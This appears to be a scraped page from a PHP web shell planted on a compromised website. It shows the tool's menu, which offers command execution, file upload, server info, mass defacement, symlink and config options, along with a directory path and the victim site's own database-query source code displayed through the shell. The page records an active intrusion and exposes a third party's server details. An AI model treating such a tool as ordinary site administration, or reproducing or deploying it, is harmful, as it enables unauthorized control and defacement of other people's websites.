ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/Domains/maymaytinson.com/httpdocs/mail/../ckfinder/../ckfinder/../ |
Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
---|
<?php include 'conn/config.php'; include 'conn/connect.php'; $stmt=$conn->prepare("SELECT * FROM food"); $stmt->execute(); $food=$stmt->fetchAll(PDO::FETCH_ASSOC); $listFood = array(); foreach ($food as $food) { array_push($listFood, new food($food['name'],$food['price'],0,$food['image'],$food['discount'])); } echo json_encode($listFood); ?>